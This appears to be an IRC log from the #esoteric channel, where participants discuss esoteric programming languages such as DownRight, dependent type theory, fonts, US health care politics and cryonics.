PRIVMSG #esoteric :okay, I need a monad for this :P < 1269188158 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :n is the function's parameter and i is the infinite sum index thingy, right? < 1269188177 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Suppose n = 1/2. Then you have 1 + 2 + 4 + 8 + . . . < 1269188179 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Right? < 1269188201 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Complex exponentiation doesn't seem to help with that. < 1269188422 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :lim n->1/2 f(n) is infinity too, so analytic continuation doesn't help with that < 1269188424 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :or am i wrong < 1269188448 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :oh < 1269188487 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :the problem is < 1269188512 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :the sum is over n < 1269188514 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :sorry < 1269188548 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i is the argument, better call it something else < 1269188561 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :err < 1269188567 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :it's not the argument < 1269188576 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i'm gonna look this thing up now :P < 1269188654 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :yeah okay of course it's not just the same thing then < 1269188947 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :eq = Func( < 1269188947 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : Pi(Set) >> lambda A: Pi(A) >> lambda x: A >> Prop, < 1269188947 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : lambda A: lambda x: lambda y: Prop(refl = eq(A, x, x))) < 1269189013 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I'm not actually evil enough to code that. < 1269189074 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :ths s so fucking annoying I hate this so much < 1269189099 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I'm just trying to define a tex command and I spent like 30 mins getting frustrated because it's not working and it sucks all my motivation to do this out < 1269189110 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :latex or tex < 1269189115 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :dunno < 1269189119 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :>_< < 1269189121 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :what is it in < 1269189122 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :it doesn't work < 1269189294 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oh, /dear/, it looks like I'm getting dynamic scoping < 1269189329 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :feck! < 1269189331 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :royal feck! < 1269189971 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oh shit, i have to handle alpha-conversion < 1269189971 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :lol i got bored < 1269190138 0 :impomatic!~John@87.113.186.178 JOIN :#esoteric < 1269190171 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :hmm i can't seem to express cardinality in dependent type theory < 1269190175 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :that sux :P < 1269190456 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oh wait i can specify the property of something being equal to the cardinality < 1269190457 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :which should be enough < 1269190639 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION is reading a lot of Less Wrong, but I'm worried I might be failing to think critically about the posts
< 1269190652 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :that is a problem I often see in Less Wrongers. < 1269190656 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Quite the contradiction. < 1269192200 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Who knew simple term rewriting was so complex? < 1269192568 0 :impomatic!unknown@unknown.invalid PRIVMSG #esoteric :Which programming editor do you all use? < 1269192613 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I use Emacs for most things. < 1269192662 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :tat was awful awulf awful < 1269192704 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :"can't seem to express cardinality" just like in set theory, you can't have 'set of all ordinals' or 'set of all cardinals' < 1269192835 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i didn't mean in that sense < 1269192836 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :obviously < 1269192851 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise that is not obvious, I spent hours thinking about this < 1269192858 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :no i meant < 1269192862 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :obviously, I didn't mean that sense < 1269192865 0 :Asztal!~asztal@host86-156-99-114.range86-156.btcentralplus.com JOIN :#esoteric < 1269192868 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :okay < 1269192881 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :A lot of times I tell you things which took me a long time to figure out and you say they're obvious :P < 1269192882 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :what I mean is i literally cannot see a way to express cardinality of a set < 1269192883 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :well < 1269192884 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :of a type < 1269192887 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :but they're only obvious in retrospect < 1269192898 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: well i usually think things are obvious based on intuition < 1269192899 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :not knowledge < 1269193532 0 :ais523!~ais523@unaffiliated/ais523 JOIN :#esoteric < 1269193616 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :hi ais523 < 1269193616 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :s/ $// < 1269193666 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :hi < 1269193675 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :also, I can't see your trailing spaces < 1269193819 0 :Asztal!unknown@unknown.invalid QUIT :Remote host closed the connection < 1269194266 0 :nooga!unknown@unknown.invalid QUIT :Ping timeout: 246 seconds < 1269194372 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :sooooo < 1269194743 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :flob < 1269194820 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :alise: are you OK? < 1269194830 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Just bored. < 1269194854 0 :oklopol!unknown@unknown.invalid QUIT :Quit: ( www.nnscript.com :: NoNameScript 4.2 :: www.regroup-esports.com ) < 1269194896 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :hmm, OK < 1269194910 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I discovered yesterday that the problem that my supervisor had set me to solve was formally undecidable < 1269194927 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :he thought it would be a "neater" way to do something that I had done already, and which is entirely decidable < 1269195051 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :heh < 1269195058 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I should continue writing my CAS < 1269196123 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :but... < 1269196169 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :hmm, what /I/ should do is document some esolangs < 1269196183 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :document? boring < 1269196184 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Document Feather! < 1269196187 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I have both DownRight and Confloddle which are more or less finished, yet completely undocumented and unimplemented < 1269196188 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :publish a 4-line interpreter for them < 1269196193 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :in, I don't know, Prolog < 1269196214 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :hmm, OK, challenge for me, write a DownRight interp in one line of EgoBot < 1269196216 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :hmm, it's down < 1269196222 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :one line of fungot then, which implies either BF or underload < 1269196222 0 :fungot!unknown@unknown.invalid PRIVMSG #esoteric :ais523: but if you didn't < 1269196242 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and fitting within IRC's line-length limit < 1269196277 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :what is downright again? I forgot. < 1269196280 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :hmm, this would be so much easier in underlambda... < 1269196286 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :DownRight? < 1269196314 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :alise: Sgeo: OK, you have a rectangular table, whose dimensions are coprime; that's the program < 1269196324 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :each cell contains a possibly empty string of "d" and "r", meaning "down" and "right" < 1269196344 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and there's an internal queue of instructions, which starts initialised to the content of the top-left cell < 1269196397 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :the interpreter repeatedly dequeues an element from the queue, then moves down if it was "d" or right if it was "r" (wrapping both vertically and horizontally), then enqueues the entire contents of the cell it ended up in < 1269196402 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :that's it; instant tarpit < 1269196481 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I don't see how it can be TC. I don't see a way to loop < 1269196485 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :the restriction to coprime dimensions, incidentally, is something that confuses me about the language; it feels like it ought to be less powerful with the restriction, and there's no way I can think of to compile programs without the restriction into programs with without embedding an interp, but I can't write any non-contrived programs which can't trivially be changed to obey the restriction < 1269196509 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: it wraps both horizontally and vertically < 1269196513 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Oh < 1269196514 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :e.g. a trivial infinite loop is [r] < 1269196567 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :one nice thing about the lang is that it compiles really easily into cyclic tag / BCT; which is surprising, as those are basically the most tarpitty langs around < 1269196661 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :but only with the coprimality restriction < 1269196671 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :HCR stuff on C-Span < 1269196681 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :?# < 1269196683 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :* ? < 1269196731 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :There's no I/O support, is there? < 1269196783 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: no, although in the case of DownRight it wouldn't be too hard to add < 1269196800 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :C-Span: US politics channel < 1269196803 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :HCR : Health care reform < 1269196806 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*HCR: < 1269196817 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :you could cause certain cells to output text as the interp went through them, and other cells to not enqueue anything if they couldn't read a particular char from input < 1269196824 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :alise: ah, OK; I knew C-Span, but not HCR < 1269196827 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :So, Americans, if you want to learn about how Obama is going to fix the world by fining people without health insurance from glorious corporations - < 1269196840 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Shift your gaze towards your television! < 1269196885 0 :deschutron!unknown@unknown.invalid PRIVMSG #esoteric :will people be fined for not buying health insurance under the reform? < 1269196892 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :yes < 1269196907 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It's /just like/ single payer health care! < 1269196910 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :but I think the health insurance people aren't allowed to rip people off < 1269196914 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Except /more/ /American!/ < 1269196926 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ais523: Yes, and Bush wasn't allowed to do a lot of the things he did too... < 1269196931 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I know < 1269196933 0 :deschutron!unknown@unknown.invalid PRIVMSG #esoteric :will the government pay any money towards their insurance? < 1269196936 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :"aren't allowed to" != "won't" < 1269196945 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Precisely. < 1269196947 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :deschutron: why, that would be socialism! and so evil! or something like that < 1269196967 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :deschutron: I gather that is the case, though of course once you have whatever worst-of-the-worst plan they give you they'll rabidly try to avoid treating you. < 1269196975 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Land of the free! < 1269196983 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ais523: actually, the Republicans /are/ calling it socialism < 1269196985 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :the funny thing is, the health care system the US seems to be moving into is what in the UK would be described as "privatized" < 1269196989 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :alise: I know < 1269196993 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :the word has a strange meaning in the US, though < 1269196993 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :which has really just elevated the level of political discourse in the US from "pathetically comical" to "brilliant satire" < 1269197012 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :which as far as I can tell, is along the lines of "government existing" < 1269197015 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It means STEALING PEOPLE'S MONEY; like Robin Hood. < 1269197038 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ais523: And yet they decry any advances in morals from the stone age - it'll cause anarchy, they say, a society without morals. < 1269197056 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :government is clearly evil; so you need morals in order to replace it < 1269197082 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Government should be replaced with the only moral force in the universe: CAPITALISM! < 1269197091 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I'd laugh but that's the definition of anarcho-capitalism. < 1269197097 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : n 1 < 1269197098 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :harmonic(n) := ∑ — < 1269197098 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : k=1 k < 1269197104 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :WHO NEEDS TEX WHEN YOU HAVE UNICODE < 1269197155 0 :deschutron!unknown@unknown.invalid PRIVMSG #esoteric :do people in america pay much tax? < 1269197165 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Yes because of COMMUNISTS < 1269197179 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :yes, but they're violently opposed to the government spending it < 1269197205 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :The Republicans don't want people to be forced to buy insurance. Wonder what their position on car insurance is. < 1269197211 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ais523: as the only other Ubuntu user I know of (AnMaster uses his own distro almost, but not entirely, unlike Ubuntu) - install ttf-droid if you haven't already, then set Application/document/desktop fonts to Droid Sans 10; window titles to Droid Sans Bold 11, and if you want fixed width to Droid Sans Mono 10. < 1269197219 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It's just like DejaVu Sans but not as ugly. :P < 1269197235 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION used to use Ubuntu
< 1269197237 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I actually like DejaVu Sans... < 1269197247 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ais523: then you'll like Droid Sans more :P < 1269197248 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: I drive a PATRIOT'S car, my dear friend. And I ain't gonna hurt nobody! < 1269197268 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: Whatchoo doin' puttin' on that seatbelt parner'? Are you suggestin' or implicatin' that I may not be the safest driver around? < 1269197270 0 :deschutron!unknown@unknown.invalid PRIVMSG #esoteric :I use Day Roman < 1269197277 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Excuse me but have you SEEN my car? Nobody could crash in this beauty! < 1269197281 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Go, USA! < 1269197294 0 :deschutron!unknown@unknown.invalid PRIVMSG #esoteric :haha < 1269197327 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :wow, I've just found a particularly stupid YouTube comment ("I love eevee (eevee backwards)") < 1269197336 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ais523: gahahahaha < 1269197342 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :strangely, youtube comment quality seems to depend a lot on where you look < 1269197377 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Reminds me of: < 1269197397 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(stupid interwebs) < 1269197416 0 :Asztal!~asztal@host86-156-99-114.range86-156.btcentralplus.com JOIN :#esoteric < 1269197418 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Meh, never mind < 1269197442 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :ooh, new spambot on Esolang < 1269197492 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :? < 1269197532 0 :adam_d!~Adam@cpc2-acto6-0-0-cust48.brnt.cable.ntl.com JOIN :#esoteric < 1269197544 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :interfaces are hard < 1269197546 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so is syntax < 1269197615 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :deleted the page already, but it was trying to advertise DDOS attacks, or maybe disadvertise them < 1269197618 0 :deschutron!unknown@unknown.invalid PRIVMSG #esoteric :alise: I use Ubuntu too btw < 1269197628 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :it was a warning not to buy DDOS from someone because their DDOSes were shit, or lines to that effect < 1269197650 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :also, the main reason I use Ubuntu is that it's the path of least resistance < 1269197651 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :deschutron: kk < 1269197794 0 :deschutron!unknown@unknown.invalid PRIVMSG #esoteric :i had gentoo earlier, then installed ubuntu to try it, then my gentoo drive crashed, and then i never got around to installing a different distro < 1269197839 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : ais523: then you'll like Droid Sans more :P <-- I tried that font, I prefer Dejavu sans over it < 1269197861 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I didn't talk to you. < 1269197871 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, you highlighted me the line before < 1269198014 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :this argument is going nowhere... < 1269198065 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION feels like P-Dub
< 1269198077 0 :deschutron!unknown@unknown.invalid PRIVMSG #esoteric :i think it has arrived < 1269198112 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION has homework to do.
< 1269198137 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :deschutron: US taxation is rather below that of Europe, but US taxation + health care soaks up a *lot* more money than people in Europe pay on just taxes. < 1269198160 0 :deschutron!unknown@unknown.invalid PRIVMSG #esoteric :i see < 1269198197 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :And many, many people in the US are convinced that the government spending money is EVIL. < 1269198206 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Except when it's the military. In which case FUCK YEAH. < 1269198330 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :safoioifsdf < 1269198332 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :anyone know jsmath < 1269198447 0 :deschutron!unknown@unknown.invalid PART #esoteric :? < 1269198453 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I know it's used on MathOverflow < 1269199081 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :badly... < 1269199087 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I have to click 'reload math' every single time < 1269199271 0 :impomatic!unknown@unknown.invalid PRIVMSG #esoteric :Hmmm... I just installed Droid Sans and Deja Vu along with about 10 other programming fonts. < 1269199285 0 :impomatic!unknown@unknown.invalid PRIVMSG #esoteric :Not sure which one I'm going to stick with. < 1269199783 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Droid Sans is not a programming font; it is a sans font. < 1269200229 0 :impomatic!unknown@unknown.invalid PRIVMSG #esoteric :Whatever the full name is, Droid Sans Mono or something < 1269200244 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I like Inconsolata. < 1269200252 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Also Monaco and Consolas. < 1269200341 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no JOIN :#esoteric < 1269200436 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ffffffffffffff < 1269200443 0 :impomatic!unknown@unknown.invalid PRIVMSG #esoteric :My old editor doesn't work with Windows 7 so I'm just trying a few new editors and fonts. < 1269200458 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :wwwwwwwwwwwwww < 1269200611 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :impomatic: Just take the plunge and learn Emacs. < 1269200628 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :hmm... /me wonders what the best name for f(x) is in a term-rewriting language; it's not exactly an application < 1269200630 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :maybe an association < 1269200658 0 :nooga!~nooga@093105098174.pila.vectranet.pl JOIN :#esoteric < 1269200730 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :impomatic do you do lisp < 1269200731 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :? < 1269200738 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Yeth. < 1269201035 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :alise: do you mean f(x) as in making f rewrite x? or, as in f(x) is the data that's rewritten? < 1269201047 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :the latter < 1269201053 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I'm just calling them applications, so meh < 1269201057 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :tag, maybe < 1269201177 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION decides that barf is not the best name for the error-reporting function
< 1269201356 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :why not?? < 1269201491 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :basic alarm report function < 1269202189 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: well for one barfing isn't fatal... < 1269202199 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :loll < 1269202200 0 :coppro!~coppro@unaffiliated/coppro JOIN :#esoteric < 1269202261 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i expect that depends < 1269202559 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :coppro: we're discussing the fatality of barfing < 1269202650 0 :oerjan!unknown@unknown.invalid QUIT :Quit: Later < 1269202730 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION wonders how well cryonics plays with organ donation
< 1269202750 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :If you just freeze your head, perfectly well. < 1269202752 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :If not, not at all. < 1269202783 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Well, you would have to contact the cryonics organisation to work out how to do the organ donation too, I imagine; but I bet it's quite a common request. < 1269202784 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :They can't, say, take out my liver and freeze my liverless body? < 1269202793 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :The point of that being? < 1269202801 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :alise, don't know, just saying < 1269202813 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :They might be able to. Ask them. < 1269202828 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :http://alcor.org/Contact/index.html < 1269202838 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Also, any reasearch on how much of brain structure is destroyed by freezing? < 1269202842 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :CIHQ@aol.com < 1269202848 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Yes: < 1269202879 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :http://alcor.org/cryomyths.html#myth2 /me tries to find the other thing < 1269202913 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :http://alcor.org/AboutCryonics/index.html < 1269202926 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :See near the bottom. < 1269202926 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Of course this is not objective. < 1269202929 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :But anyone who even says the word cryonics get exiled from cryobiologist circles anyway. < 1269202945 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(You're actually not allowed to be part of the main cryobiology organisation if you do anything related to cryonics.) < 1269202952 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :So you are unlikely to find any third-party research, alas. < 1269202958 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It is fairly cheap though. < 1269203172 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :It occurs to me that it's unlikely to be helpful if I die in the near future. At this point, I seem to be healthy, so if I die, it is likely due to an accident.. < 1269203188 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Well, actually, I guess accident victims do die in hospitals later sometimes, so < 1269203620 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise < 1269203633 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :can you tell me ANYTHIGN mathematica does which will impress me < 1269203650 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :"The plan is not for "them" to revive us. The plan is that we, the Alcor community, will revive ourselves." < 1269203660 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :That's somewhat comforting < 1269203675 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Of course, if Alcor [or whatever organization] goes bust.. < 1269203688 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :On a somewhat facetious note, in sci.math, Archimedes Plutonium has been describing his reconstruction of mathematics where the maximum integer is 10^500. < 1269203760 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fax, do you mean N_(10^500)? As in a modulo-thingy < 1269203775 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :forgot the word atm < 1269203775 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :no < 1269203780 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :norm < 1269203780 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :mhm < 1269203786 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :mhm < 1269203793 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :fax, linky? < 1269203866 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fax, how does he define 10^500+1 btw? < 1269203937 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: bounded integers are easy enough to come up with; in that case, 10^500+1 simply wouldn't have a valid answer, like 1/0 doesn't < 1269203952 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1269204088 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :On the other hand, Archimedes Plutonium. < 1269204104 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :http://terrytao.wordpress.com/2010/03/19/a-computational-perspective-on-set-theory/#comment-43960 < 1269204119 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I would assume whatever he says make as much sense as what comes out of Mentifex's "supercomputer AI Mind". < 1269204127 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Who's Archimedes Plutonium? < 1269204150 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :A well-known Usenet personage. (I don't know if he is active elsewhere too.) < 1269204153 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :Archimedes Plutonium (born July 5, 1950) is, according to his own self-description, "The King of Science" < 1269204164 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :Plutonium believes himself to be the greatest living scientist, but few if any others share this assessment despite Plutonium's regular activity on the Internet to convince people. < 1269204215 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Also the universe is a giant plutonium atom. < 1269204216 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Why is a math forum in sci.math? AFAIK, math is not a science < 1269204349 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :That's probably a matter of definition; OED defines "mathematics" as "the science of space, number, quantity, and arrangement, whose methods involve logical reasoning and usually the use of symbolic notation, and which includes geometry, arithmetic, algebra, and analysis; mathematical operations or calculations". < 1269204412 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric 